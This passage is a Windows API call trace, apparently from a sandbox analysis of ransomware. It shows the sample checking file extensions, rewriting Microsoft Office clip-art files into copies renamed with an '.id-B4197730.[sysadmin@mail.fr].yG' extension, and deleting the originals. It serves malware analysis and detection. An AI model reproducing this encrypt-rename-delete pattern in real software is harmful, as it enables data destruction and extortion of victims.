	[0164.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68
	[0164.443] lstrlenW (lpString=".zip") returned 4
	[0164.443] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0164.443] lstrlenW (lpString=".rar") returned 4
	[0164.443] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0164.443] lstrlenW (lpString=".bz2") returned 4
	[0164.443] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0164.443] lstrlenW (lpString=".7z") returned 3
	[0164.443] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0164.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68
	[0164.443] lstrlenW (lpString=".dbf") returned 4
	[0164.443] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0164.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68
	[0164.443] lstrlenW (lpString=".1cd") returned 4
	[0164.444] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0164.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68
	[0164.444] lstrlenW (lpString=".jpg") returned 4
	[0164.444] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0164.444] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=5908) returned 1
	[0164.444] CloseHandle (hObject=0x51c) returned 1
	[0164.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf")) returned 0x220
	[0164.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0164.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0164.446] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.446] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0164.447] GetLastError () returned 0x0
	[0164.447] ReadFile (in: hFile=0x51c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x1714, lpOverlapped=0x0) returned 1
	[0164.473] WriteFile (in: hFile=0x364, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x1720, lpOverlapped=0x0) returned 1
	[0164.474] ReadFile (in: hFile=0x51c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.474] WriteFile (in: hFile=0x364, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.474] SetEndOfFile (hFile=0x364) returned 1
	[0164.474] CloseHandle (hObject=0x364) returned 1
	[0164.474] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.474] SetEndOfFile (hFile=0x51c) returned 1
	[0164.477] CloseHandle (hObject=0x51c) returned 1
	[0164.478] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0164.479] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf")) returned 1
	[0164.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68
	[0164.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68
	[0164.483] lstrlenW (lpString=".doc") returned 4
	[0164.483] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.484] lstrlenW (lpString=".docx") returned 5
	[0164.484] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0164.484] lstrlenW (lpString=".pdf") returned 4
	[0164.484] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.484] lstrlenW (lpString=".xls") returned 4
	[0164.484] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.485] lstrlenW (lpString=".xlsx") returned 5
	[0164.485] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0164.485] lstrlenW (lpString=".ppt") returned 4
	[0164.485] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68
	[0164.485] lstrlenW (lpString=".zip") returned 4
	[0164.485] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.485] lstrlenW (lpString=".rar") returned 4
	[0164.485] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.485] lstrlenW (lpString=".bz2") returned 4
	[0164.485] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.486] lstrlenW (lpString=".7z") returned 3
	[0164.486] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68
	[0164.725] lstrlenW (lpString=".dbf") returned 4
	[0164.725] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68
	[0164.725] lstrlenW (lpString=".1cd") returned 4
	[0164.725] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68
	[0164.725] lstrlenW (lpString=".jpg") returned 4
	[0164.725] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.751] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=3444) returned 1
	[0164.752] CloseHandle (hObject=0x51c) returned 1
	[0164.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf")) returned 0x220
	[0164.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0164.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0164.755] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.755] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0164.758] GetLastError () returned 0x0
	[0164.758] ReadFile (in: hFile=0x51c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0xd74, lpOverlapped=0x0) returned 1
	[0164.780] WriteFile (in: hFile=0x364, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xd80, lpOverlapped=0x0) returned 1
	[0164.783] ReadFile (in: hFile=0x51c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.783] WriteFile (in: hFile=0x364, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.783] SetEndOfFile (hFile=0x364) returned 1
	[0164.783] CloseHandle (hObject=0x364) returned 1
	[0164.783] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.784] SetEndOfFile (hFile=0x51c) returned 1
	[0164.789] CloseHandle (hObject=0x51c) returned 1
	[0164.789] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0164.790] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf")) returned 1
	[0164.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68
	[0164.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68
	[0164.792] lstrlenW (lpString=".doc") returned 4
	[0164.792] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.792] lstrlenW (lpString=".docx") returned 5
	[0164.792] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0164.792] lstrlenW (lpString=".pdf") returned 4
	[0164.792] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.792] lstrlenW (lpString=".xls") returned 4
	[0164.792] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.792] lstrlenW (lpString=".xlsx") returned 5
	[0164.792] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0164.792] lstrlenW (lpString=".ppt") returned 4
	[0164.793] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68
	[0164.793] lstrlenW (lpString=".zip") returned 4
	[0164.793] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.793] lstrlenW (lpString=".rar") returned 4
	[0164.793] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.793] lstrlenW (lpString=".bz2") returned 4
	[0164.793] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.793] lstrlenW (lpString=".7z") returned 3
	[0164.793] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68
	[0164.793] lstrlenW (lpString=".dbf") returned 4
	[0164.793] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68
	[0164.793] lstrlenW (lpString=".1cd") returned 4
	[0164.793] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68
	[0164.794] lstrlenW (lpString=".jpg") returned 4
	[0164.794] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.798] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=17172) returned 1
	[0164.799] CloseHandle (hObject=0x51c) returned 1
	[0164.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf")) returned 0x220
	[0164.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0164.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0164.800] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.801] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0164.803] GetLastError () returned 0x0
	[0164.803] ReadFile (in: hFile=0x51c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x4314, lpOverlapped=0x0) returned 1
	[0164.806] WriteFile (in: hFile=0x364, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x4320, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x4320, lpOverlapped=0x0) returned 1
	[0164.808] ReadFile (in: hFile=0x51c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.809] WriteFile (in: hFile=0x364, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.809] SetEndOfFile (hFile=0x364) returned 1
	[0164.809] CloseHandle (hObject=0x364) returned 1
	[0164.809] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.809] SetEndOfFile (hFile=0x51c) returned 1
	[0164.814] CloseHandle (hObject=0x51c) returned 1
	[0164.814] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0164.815] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf")) returned 1
	[0164.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68
	[0164.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68
	[0164.816] lstrlenW (lpString=".doc") returned 4
	[0164.816] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.816] lstrlenW (lpString=".docx") returned 5
	[0164.816] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0164.816] lstrlenW (lpString=".pdf") returned 4
	[0164.817] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.817] lstrlenW (lpString=".xls") returned 4
	[0164.817] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.817] lstrlenW (lpString=".xlsx") returned 5
	[0164.817] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0164.817] lstrlenW (lpString=".ppt") returned 4
	[0164.817] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68
	[0164.817] lstrlenW (lpString=".zip") returned 4
	[0164.817] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.817] lstrlenW (lpString=".rar") returned 4
	[0164.817] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.817] lstrlenW (lpString=".bz2") returned 4
	[0164.817] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.817] lstrlenW (lpString=".7z") returned 3
	[0164.817] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68
	[0164.818] lstrlenW (lpString=".dbf") returned 4
	[0164.818] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68
	[0164.818] lstrlenW (lpString=".1cd") returned 4
	[0164.818] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68
	[0164.818] lstrlenW (lpString=".jpg") returned 4
	[0164.818] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.819] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=11532) returned 1
	[0164.819] CloseHandle (hObject=0x51c) returned 1
	[0164.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf")) returned 0x220
	[0164.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0164.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0165.149] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.149] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0165.182] GetLastError () returned 0x0
	[0165.182] ReadFile (in: hFile=0x51c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x2d0c, lpOverlapped=0x0) returned 1
	[0165.192] WriteFile (in: hFile=0x53c, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x2d10, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x2d10, lpOverlapped=0x0) returned 1
	[0165.193] ReadFile (in: hFile=0x51c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.193] WriteFile (in: hFile=0x53c, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.193] SetEndOfFile (hFile=0x53c) returned 1
	[0165.193] CloseHandle (hObject=0x53c) returned 1
	[0165.194] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.194] SetEndOfFile (hFile=0x51c) returned 1
	[0165.197] CloseHandle (hObject=0x51c) returned 1
	[0165.197] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0165.198] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf")) returned 1
	[0165.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68
	[0165.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68
	[0165.199] lstrlenW (lpString=".doc") returned 4
	[0165.199] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.199] lstrlenW (lpString=".docx") returned 5
	[0165.199] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0165.199] lstrlenW (lpString=".pdf") returned 4
	[0165.199] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.199] lstrlenW (lpString=".xls") returned 4
	[0165.199] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.199] lstrlenW (lpString=".xlsx") returned 5
	[0165.199] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0165.199] lstrlenW (lpString=".ppt") returned 4
	[0165.199] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68
	[0165.199] lstrlenW (lpString=".zip") returned 4
	[0165.199] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.199] lstrlenW (lpString=".rar") returned 4
	[0165.199] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.199] lstrlenW (lpString=".bz2") returned 4
	[0165.199] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.199] lstrlenW (lpString=".7z") returned 3
	[0165.199] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68
	[0165.200] lstrlenW (lpString=".dbf") returned 4
	[0165.200] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68
	[0165.200] lstrlenW (lpString=".1cd") returned 4
	[0165.200] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68
	[0165.200] lstrlenW (lpString=".jpg") returned 4
	[0165.200] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.250] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=19240) returned 1
	[0165.250] CloseHandle (hObject=0x53c) returned 1
	[0165.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf")) returned 0x220
	[0165.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
